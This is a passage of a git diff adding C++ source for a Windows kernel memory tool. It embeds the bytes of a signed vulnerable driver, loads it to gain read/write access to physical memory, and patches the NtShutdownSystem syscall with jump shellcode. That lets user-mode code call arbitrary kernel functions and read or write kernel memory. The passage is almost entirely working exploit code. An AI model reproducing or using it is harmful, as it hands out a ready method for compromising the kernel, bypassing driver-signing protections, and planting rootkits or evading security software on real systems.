0x5B, 0x5C, 0x22, 0x51, 0xF3, 0xA6, 0xF6, + 0x1D, 0x76, 0x19, 0x8C, 0x1C, 0x82, 0x31, 0xCE, 0x65, 0xF3, 0x10, 0x23, + 0xD6, 0xAD, 0x60, 0x2E, 0x43, 0x6C, 0x75, 0x30, 0xD6, 0x9A, 0x85, 0x2B, + 0x33, 0x22, 0x44, 0x03, 0x6D, 0xC9, 0x9A, 0xB2, 0x39, 0x8A, 0x34, 0xBF, + 0xDD, 0xAF, 0xA3, 0x0B, 0xB8, 0x7F, 0x2D, 0x50, 0x17, 0xD5, 0x56, 0x75, + 0x27, 0x6A, 0xF8, 0xB8, 0xD7, 0x5E, 0x27, 0x74, 0xAC, 0x91, 0x7C, 0xEE, + 0xA4, 0x42, 0x80, 0xD5, 0xF8, 0xFB, 0xB7, 0xD8, 0x70, 0x71, 0x70, 0xE6, + 0x3D, 0x2D, 0x51, 0x5C, 0x5A, 0xAB, 0xD7, 0x3F, 0x68, 0x0B, 0xE2, 0x93, + 0x80, 0xED, 0x7C, 0x8A, 0x94, 0x06, 0x2B, 0xE9, 0xCB, 0xBF, 0xD4, 0x4B, + 0x76, 0x6E, 0x3C, 0xAC, 0x01, 0xA6, 0xB3, 0xF9, 0x0D, 0xB2, 0x6C, 0x24, + 0x4B, 0x51, 0x63, 0x2D, 0x79, 0x15, 0x58, 0x4B, 0x6C, 0x5B, 0x8B, 0x99, + 0x4B, 0xCC, 0xAA, 0x07, 0x08, 0xC9, 0xA3, 0x43, 0xAE, 0xD5, 0x27, 0x8F, + 0xD7, 0x35, 0x85, 0x6B, 0xE8, 0x69, 0xF4, 0xF1, 0x8D, 0x3D, 0x8F, 0x00, + 0x71, 0x52, 0x85, 0x84, 0x02, 0x0D, 0xA1, 0x82, 0x02, 0x0B, 0x30, 0x82, + 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, + 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, + 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, + 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, + 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, + 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, + 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, + 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, + 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, + 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, + 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, + 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, + 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, + 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x37, 0x31, 0x32, 0x30, 0x31, 0x30, 0x35, + 0x34, 0x30, 0x35, 0x34, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, + 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x48, 0xE9, + 0xD3, 0xB8, 0xB2, 0x40, 0x23, 0x3E, 0x65, 0x95, 0x5D, 0xD2, 0x19, 0x40, + 0xAF, 0x08, 0x08, 0x5F, 0x02, 0xDF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, + 0x00, 0x89, 0xF5, 0x8C, 0x74, 0xAD, 0xAF, 0x17, 0x5E, 0x03, 0xA0, 0x82, + 0x0D, 0xBC, 0x1D, 0xBC, 0x29, 0x15, 0x66, 0x7B, 0x43, 0x94, 0xEA, 0x86, + 0x4F, 0x8A, 0x29, 0x08, 0x4D, 0x78, 0x92, 0x2D, 0x4F, 0x49, 0x66, 0x6F, + 0x5E, 0x0C, 0x83, 0x5D, 0xB3, 0x25, 0xDF, 0xAB, 0x99, 0xC8, 0xEC, 0xBB, + 0x90, 0x07, 0x7C, 0xC5, 0xBD, 0x7A, 0x86, 0x6A, 0x84, 0x71, 0x65, 0xE9, + 0x63, 0xD7, 0x1E, 0x28, 0xBF, 0x3C, 0xB9, 0x1C, 0xE5, 0xFD, 0xC9, 0x92, + 0x03, 0xC9, 0x5C, 0x67, 0x35, 0x81, 0xA9, 0x24, 0x4E, 0xDA, 0xE9, 0x1E, + 0x8D, 0xF1, 0x2B, 0x53, 0xEF, 0x7A, 0xFE, 0x0D, 0xCC, 0xAE, 0x97, 0x7B, + 0x63, 0x44, 0x0F, 0x9C, 0x03, 0x0B, 0xC3, 0xC5, 0x26, 0x56, 0x3C, 0x15, + 0x26, 0x4F, 0x21, 0x5C, 0x57, 0x0F, 0xBB, 0x23, 0x06, 0x0E, 0x34, 0x14, + 0x1A, 0x2D, 0x06, 0xAA, 0xD2, 0xF2, 0xEC, 0x57, 0x61, 0x08, 0x74, 0xF4, + 0x36, 0x42, 0x06, 0x81, 0xD6, 0x79, 0x65, 0xB0, 0x6F, 0xF2, 0x4F, 0x6F, + 0x5A, 0xD0, 0xC3, 0x84, 0xC3, 0x66, 0x53, 0x92, 0xC0, 0x22, 0x23, 0xE1, + 0xD5, 0x1B, 0x02, 0x76, 0x8E, 0xEB, 0x5F, 0xC2, 0x44, 0x68, 0xF0, 0x36, + 0x2E, 0xFC, 0xE1, 0x13, 0xB8, 0x21, 0x44, 0xAD, 0x9F, 0x7A, 0xD2, 0x9F, + 0xA9, 0x5F, 0xB1, 0xCB, 0x4C, 0xD9, 0x08, 0x6E, 0x4B, 0x82, 0x1D, 0x6D, + 0x7C, 0xD2, 0x51, 0xD1, 0x74, 0x0B, 0x7A, 0xE5, 0x7A, 0x59, 0x93, 0xF9, + 0xCA, 0xB8, 0x85, 0xC4, 0x2C, 0x8A, 0x1D, 0x93, 0x48, 0x6C, 0xAE, 0x3E, + 0x01, 0x5B, 0x66, 0x7F, 0x67, 0xF8, 0x2F, 0x8A, 0xF2, 0x65, 0x2C, 0x88, + 0x3C, 0x7F, 0xAD, 0xB8, 0x8D, 0xBA, 0x88, 0x99, 0xFB, 0xE1, 0xDE, 0x48, + 0xA2, 0x66, 0x96, 0xF0, 0xA9, 0xF1, 0xF2, 0x12, 0x21, 0x16, 0xB6, 0xDA, + 0x8C, 0xD3, 0x5E, 0xD3, 0x5B, 0x00, 0x00, 0x00 + }; +} \ No newline at end of file diff --git a/kmem/vdm/vdm.hpp b/kmem/vdm/vdm.hpp new file mode 100644 index 0000000..c7fce30 --- /dev/null +++ b/kmem/vdm/vdm.hpp @@ -0,0 +1,142 @@ +#pragma once +#include +#include + +#include "../util/util.hpp" +#include "../util/loadup.hpp" +#include "raw_driver.hpp" + +#define MAP_PHYSICAL 0xC3502004 +#define UNMAP_PHYSICAL 0xC3502008 + +#pragma pack (push, 1) +typedef struct _gdrv_t +{ + unsigned long interface_type; + unsigned long bus; + std::uintptr_t phys_addr; + unsigned long io_space; + unsigned long size; +} gdrv_t, *pgdrv_t; +#pragma pack (pop) + +namespace vdm +{ + inline HANDLE drv_handle; + __forceinline auto load_drv() -> std::pair + { + const auto [result, key] = + driver::load( + vdm::raw_driver, + sizeof(vdm::raw_driver) + ); + + if (!result) + return { {}, {} }; + + vdm::drv_handle = CreateFileA( + "\\\\.\\GIO", + GENERIC_READ | GENERIC_WRITE, + NULL, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + return { vdm::drv_handle, key }; + } + + __forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key) + { + return CloseHandle(drv_handle) && driver::unload(drv_key); + } + + __forceinline bool read_phys(void* addr, void* buffer, std::size_t size) + { + if (!util::is_valid(reinterpret_cast(addr))) + return false; + + gdrv_t in_buffer; + in_buffer.bus = NULL; + in_buffer.interface_type = NULL; + in_buffer.phys_addr = reinterpret_cast(addr); + in_buffer.io_space = NULL; + in_buffer.size = size; + + void* out_buffer[2] = { 0 }; + unsigned long returned = 0; + + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof in_buffer, + out_buffer, + sizeof out_buffer, + &returned, NULL + )) + return false; + + __try + { + memcpy(buffer, out_buffer[0], size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&out_buffer[0]), + sizeof out_buffer[0], + out_buffer, + sizeof out_buffer, + &returned, NULL + ); + } + + __forceinline bool write_phys(void* addr, void* buffer, std::size_t size) + { + if (!util::is_valid(reinterpret_cast(addr))) + return false; + + gdrv_t in_buffer; + in_buffer.bus = NULL; + in_buffer.interface_type = NULL; + in_buffer.phys_addr = reinterpret_cast(addr); + in_buffer.io_space = NULL; + in_buffer.size = size; + + void* out_buffer[2] = { 0 }; + unsigned long returned = 0; + + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof in_buffer, + out_buffer, + sizeof out_buffer, + &returned, NULL + )) + return false; + + __try + { + memcpy(out_buffer[0], buffer, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&out_buffer[0]), + sizeof out_buffer[0], + out_buffer, + sizeof out_buffer, + &returned, NULL + ); + } +} \ No newline at end of file diff --git a/kmem/vdm_ctx/vdm_ctx.cpp b/kmem/vdm_ctx/vdm_ctx.cpp new file mode 100644 index 0000000..6e35856 --- /dev/null +++ b/kmem/vdm_ctx/vdm_ctx.cpp @@ -0,0 +1,123 @@ +#include "vdm_ctx.hpp" + +namespace vdm +{ + vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) + : + read_phys(read_func), + write_phys(write_func) + { + // already found the syscall's physical page... + if (vdm::syscall_address.load()) + return; + + vdm::ntoskrnl = reinterpret_cast( + LoadLibraryExA("ntoskrnl.exe", NULL, + DONT_RESOLVE_DLL_REFERENCES)); + + nt_rva = reinterpret_cast( + util::get_kmodule_export( + "ntoskrnl.exe", + syscall_hook.first, + true + )); + + vdm::nt_page_offset = nt_rva % PAGE_4KB; + // for each physical memory range, make a thread to search it + std::vector search_threads; + for (auto ranges : util::pmem_ranges) + search_threads.emplace_back(std::thread( + &vdm_ctx::locate_syscall, + this, + ranges.first, + ranges.second + )); + + for (std::thread& search_thread : search_threads) + search_thread.join(); + } + + void vdm_ctx::set_read(read_phys_t& read_func) + { + this->read_phys = read_func; + } + + void vdm_ctx::set_write(write_phys_t& write_func) + { + this->write_phys = write_func; + } + + void vdm_ctx::rkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + + void vdm_ctx::wkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const + { + const auto page_data = + reinterpret_cast( + VirtualAlloc( + nullptr, + PAGE_4KB, MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + for (auto page = 0u; page < length; page += PAGE_4KB) + { + if (vdm::syscall_address.load()) + break; + + if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) + continue; + + // check the first 32 bytes of the syscall, if its the same, test that its the correct + // occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)... + if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32)) + if (valid_syscall(reinterpret_cast(address + page + nt_page_offset))) + syscall_address.store( + reinterpret_cast( + address + page + nt_page_offset)); + } + + VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); + } + + bool vdm_ctx::valid_syscall(void* syscall_addr) const + { + static std::mutex syscall_mutex; + syscall_mutex.lock(); + + static const auto proc = + GetProcAddress( + LoadLibraryA(syscall_hook.second), + syscall_hook.first + ); + + // 0: 48 31 c0 xor rax, rax + // 3 : c3 ret + std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 }; + std::uint8_t orig_bytes[sizeof shellcode]; + + // save original bytes and install shellcode... + read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, shellcode, sizeof shellcode); + + auto result = reinterpret_cast(proc)(); + write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + syscall_mutex.unlock(); + return result == STATUS_SUCCESS; + } +} \ No newline at end of file diff --git a/kmem/vdm_ctx/vdm_ctx.hpp b/kmem/vdm_ctx/vdm_ctx.hpp new file mode 100644 index 0000000..66d5ba2 --- /dev/null +++ b/kmem/vdm_ctx/vdm_ctx.hpp @@ -0,0 +1,116 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include "../vdm/vdm.hpp" + +namespace vdm +{ + // change this to whatever you want :^) + constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + + inline std::atomic is_page_found = false; + inline std::atomic syscall_address = nullptr; + + inline std::uint16_t nt_page_offset; + inline std::uint32_t nt_rva; + inline std::uint8_t* ntoskrnl; + + using read_phys_t = std::function; + using write_phys_t = std::function; + + class vdm_ctx + { + public: + explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); + void set_read(read_phys_t& read_func); + void set_write(write_phys_t& write_func); + void rkm(void* dst, void* src, std::size_t size); + void wkm(void* dst, void* src, std::size_t size); + + template + __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const + { + static const auto proc = + GetProcAddress( + LoadLibraryA(syscall_hook.second), + syscall_hook.first + ); + + static std::mutex syscall_mutex; + syscall_mutex.lock(); + + // jmp [rip+0x0] + std::uint8_t jmp_code[] = + { + 0xff, 0x25, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00 + }; + + std::uint8_t orig_bytes[sizeof jmp_code]; + *reinterpret_cast(jmp_code + 6) = addr; + read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + // execute hook... + write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + auto result = reinterpret_cast(proc)(args ...); + write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + syscall_mutex.unlock(); + return result; + } + + template + __forceinline auto rkm(std::uintptr_t addr) -> T + { + T buffer; + rkm((void*)&buffer, (void*)addr, sizeof T); + return buffer; + } + + template + __forceinline void wkm(std::uintptr_t addr, const T& value) + { + wkm((void*)addr, (void*)&value, sizeof T); + } + + __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t + { + static const auto ntoskrnl_get_virtual = + util::get_kmodule_export( + "ntoskrnl.exe", + "MmGetVirtualForPhysical"); + + return this->syscall( + ntoskrnl_get_virtual, addr); + } + + __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS + { + static const auto ps_lookup_peproc = + util::get_kmodule_export( + "ntoskrnl.exe", + "PsLookupProcessByProcessId"); + + PEPROCESS peproc = nullptr; + this->syscall( + ps_lookup_peproc, + (HANDLE)pid, + &peproc + ); + return peproc; + } + private: + void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; + bool valid_syscall(void* syscall_addr) const; + + std::function read_phys; + std::function write_phys; + }; +} \ No newline at end of file